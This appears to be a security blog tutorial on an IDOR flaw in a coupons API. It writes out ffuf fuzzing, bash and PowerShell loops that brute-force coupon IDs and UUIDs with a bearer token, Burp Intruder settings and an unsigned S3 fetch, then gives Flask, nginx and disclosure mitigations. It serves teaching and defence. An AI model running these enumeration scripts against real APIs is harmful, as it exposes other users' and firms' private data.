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Introduction:
Insecure Direct Object References (IDOR) remain one of the most prevalent yet overlooked API vulnerabilities, allowing attackers to access unauthorized resources by manipulating object identifiers. The recent discovery by bug hunter Abinash Mishra—where an unlinked `/api/coupons/{id}` endpoint exposed sensitive campaign data and internal financial commission rates—highlights how pattern deduction and API naming conventions can lead to critical security breaches even when the frontend shows no obvious attack surface.
Learning Objectives:
- Identify and exploit IDOR vulnerabilities by guessing hidden API endpoints through pattern analysis
- Implement robust access control mechanisms and object-level authorization checks
- Use command-line tools (cURL, ffuf, PowerShell) to automate endpoint discovery and IDOR testing
You Should Know:
- Endpoint Guessing: Turning UI Constraints into Attack Vectors
Modern frontend applications often expose only a subset of backend API endpoints through their user interface. However, RESTful APIs follow predictable naming patterns—such as /api/users/{id}, /api/orders/{id}, or /api/coupons/{id}—that can be deduced by analyzing visible endpoints. Attackers leverage this predictability to test for hidden or undocumented endpoints.
Step-by-step guide to discover hidden API endpoints:
- Enumerate visible endpoints from browser DevTools (Network tab) or intercepted traffic (Burp Suite).
- Identify patterns – look for pluralized nouns, versioning (
/v1/), and resource hierarchies. - Generate a wordlist of potential endpoints based on common API paths (e.g.,
coupons,vouchers,discounts,internal/campaigns).
4. Use ffuf for fuzzing:
Linux - Fuzz for hidden endpoints ffuf -u https://target.com/api/FUZZ -w /usr/share/wordlists/api-endpoints.txt -c -t 100 -fc 404 Filter by response size or status codes ffuf -u https://target.com/api/FUZZ -w custom-endpoints.txt -mc 200,403,401
5. On Windows (PowerShell) , perform basic enumeration:
$endpoints = @("coupons", "campaigns", "commissions", "internal/finance")
foreach ($ep in $endpoints) {
try {
$response = Invoke-WebRequest -Uri "https://target.com/api/$ep" -Method Get -UseBasicParsing
Write-Host "[$($response.StatusCode)] /api/$ep"
} catch { Write-Host "[$($_.Exception.Response.StatusCode.value__)] /api/$ep" }
}
What this does: This technique uncovers endpoints not linked in the UI but accessible via direct requests. The `/api/coupons/{id}` case succeeded because the developer followed REST conventions without implementing proper access controls.
- Exploiting IDOR via Numeric and UUID Parameter Manipulation
Once an endpoint is discovered, IDOR exploitation involves modifying the object identifier (e.g., id=1, id=2, or UUIDs) to access unauthorized resources. The key is to test for vertical or horizontal privilege escalation—viewing another user’s coupon or administrative campaign data.
Step-by-step IDOR exploitation using cURL and Burp Suite:
- Intercept a legitimate request to a known endpoint (e.g.,
/api/user/profile). Note the authentication token (JWT, session cookie).
2. Test the discovered endpoint with incremental IDs:
Linux - Brute force coupon IDs
for id in {1..500}; do
curl -s -X GET "https://target.com/api/coupons/$id" \
-H "Authorization: Bearer YOUR_JWT_TOKEN" \
-H "Content-Type: application/json" \
-w "ID: $id - HTTP %{http_code}\n" -o /dev/null
done | grep -E "200|401|403"
3. Analyze response differences – a `200 OK` with non-empty body indicates potential data exposure. Use `jq` to parse JSON:
curl -s "https://target.com/api/coupons/123" -H "Authorization: Bearer $TOKEN" | jq '.'
4. For UUID-based IDs, automate extraction from one valid UUID and mutate sequentially or via pattern (e.g., increment last hex digit):
Example: brute force last 2 hex characters
for hex in {00..ff}; do
curl -s "https://target.com/api/campaigns/550e8400-e29b-41d4-a716-4466554400$hex" \
-H "Authorization: Bearer $TOKEN" | grep -i "commission"
done
5. On Windows (PowerShell with UUID generation) :
$base = "550e8400-e29b-41d4-a716-44665544"
for ($i=0; $i -le 255; $i++) {
$uuid = $base + "{0:x2}" -f $i
$response = Invoke-RestMethod -Uri "https://target.com/api/campaigns/$uuid" -Headers @{Authorization="Bearer $env:API_TOKEN"} -ErrorAction SilentlyContinue
if ($response.commission) { Write-Host "Found: $uuid -> $($response.commission)" }
}
Critical finding: In Mishra’s case, the `/api/coupons/{id}` endpoint returned internal financial commission rates—data never intended for client-side consumption. This demonstrates why every API endpoint, even “hidden” ones, must enforce server-side authorization checks.
3. Automating API Reconnaissance with Tool Configurations
Manual testing is essential, but automation accelerates endpoint discovery and IDOR validation. Below are configurations for popular tools across Linux and Windows.
Linux – Configuring ffuf for intelligent IDOR scanning:
Use a wordlist of potential IDs (from breached data or sequential) seq 1 10000 > ids.txt ffuf -u https://target.com/api/coupons/FUZZ \ -w ids.txt \ -H "Authorization: Bearer $TOKEN" \ -fc 403,404 \ -o idor_results.json
Linux – Using Arjun to discover hidden parameters (which may lead to IDOR):
arjun -u https://target.com/api/coupons/1 -m GET -t 10 --json
Windows – Burp Suite Intruder configuration:
1. Send request to Intruder (Ctrl+I)
- Set payload position on the `id` parameter value
- Payload type: Numbers (1 to 10000, step 1)
- Add Grep-Match rule for keywords like
"commission","campaign", `”financial”`
5. Launch attack and sort by response length or match count
Cloud hardening recommendation: For AWS APIs, use `awscli` to test S3 bucket policies and IAM roles that might allow IDOR:
aws s3api get-object --bucket target-bucket --key sensitive/coupons/1.json --no-sign-request
- Mitigation: Server-Side Access Controls and Secure Object References
Preventing IDOR requires shifting from client-side trust to server-side enforcement. The following steps harden APIs against Mishra’s discovery pattern.
Step-by-step mitigation implementation:
- Replace numeric IDs with non-guessable tokens (UUIDv4 or opaque strings):
Python example - generate UUID instead of sequential integer import uuid coupon_id = str(uuid.uuid4()) e.g., "f47ac10b-58cc-4372-a567-0e02b2c3d479"
2. Enforce object-level authorization in every endpoint handler:
Flask example - check user permission before returning resource
@app.route('/api/coupons/<coupon_id>')
def get_coupon(coupon_id):
user = get_current_user()
coupon = Coupon.query.filter_by(id=coupon_id, user_id=user.id).first()
if not coupon:
abort(403) Forbidden instead of 404 to avoid enumeration
return jsonify(coupon)
3. Implement rate limiting to thwart brute-force ID enumeration:
Nginx rate limiting for API
limit_req_zone $binary_remote_addr zone=api:10m rate=5r/s;
location /api/ {
limit_req zone=api burst=10 nodelay;
proxy_pass http://backend;
}
4. Use API gateways with built-in authorization (AWS API Gateway, Kong, Tyk) to centralize access control logic.
5. Conduct regular penetration tests focusing on hidden endpoints—use tools like `GraphQL introspection` for GraphQL APIs, or `Swagger` endpoints often left exposed.
Windows/IIS specific hardening:
IIS - Disable directory browsing and verb tunneling Set-WebConfigurationProperty -Filter "system.webServer/security/requestFiltering" -Name "allowDoubleEscaping" -Value $false
- Real-World Impact: Financial Data Exposure and Responsible Disclosure
Mishra’s discovery of campaign data and internal commission rates exemplifies how a single IDOR can lead to:
– Financial loss – competitors accessing commission structures to undercut pricing.
– Regulatory violations – GDPR/CCPA breaches if personal data is exposed.
– Reputational damage – trust erosion when customers learn their coupon data is vulnerable.
Responsible disclosure workflow:
- Document the vulnerable endpoint, parameters, and proof-of-concept (PoC) curl command.
- Report via platform-specific channels (HackerOne, Bugcrowd, or [email protected]).
- Avoid data exfiltration – demonstrate access without downloading or modifying data.
- Provide mitigation recommendations (as outlined in Section 4).
Example responsible disclosure email snippet:
Subject: IDOR Vulnerability in /api/coupons/{id} - Exposure of Commission Data
Steps to reproduce:
curl -X GET "https://target.com/api/coupons/42" -H "Authorization: Bearer [bash]"
Impact: Any authenticated user can access any coupon record, including internal financial rates.
Fix: Implement server-side authorization check and replace sequential IDs with UUIDs.
What Undercode Say:
- IDOR remains a low-hanging fruit – Even experienced developers overlook access controls on non-linked endpoints. Always assume any object ID reachable via API is guessable, regardless of UI visibility.
- Pattern deduction beats automated scanners – While tools like ffuf and Burp are essential, human intuition for naming conventions (e.g., `/api/coupons` vs
/api/vouchers) often uncovers what wordlists miss. Combine automation with manual reasoning.
Analysis: Mishra’s approach—deducing an endpoint from visible patterns rather than relying on recon—mirrors real-world adversarial thinking. Organizations must move beyond “security through obscurity” and treat all API resources as public-facing. The rise of microservices and BFF (Backend for Frontend) patterns has multiplied hidden endpoints, making IDOR the 1 API risk according to OWASP API Security Top 10. The financial impact of exposed commission rates can devastate partner trust; hence, every object access must re-verify ownership server-side. Additionally, developers should adopt “deny by default” policies and use API security testing tools (like 42Crunch, Salt Security) that automatically detect IDOR patterns during CI/CD pipelines.
Prediction:
As API-first architectures dominate, attackers will increasingly leverage AI to predict hidden endpoints—training models on common REST naming conventions and source code leakage. Defenders will counter with dynamic API discovery tools that continuously monitor traffic for anomalous object access patterns. By 2027, IDOR detection will shift from manual bug bounties to automated runtime protection, but the human ability to deduce unlinked endpoints will remain a high-value skill in penetration testing. Organizations failing to implement UUID-based identifiers and per-endpoint authorization will face regulatory fines as API breaches become as common as web application attacks.
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IT/Security Reporter URL:
Reported By: Abinash Mishra – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
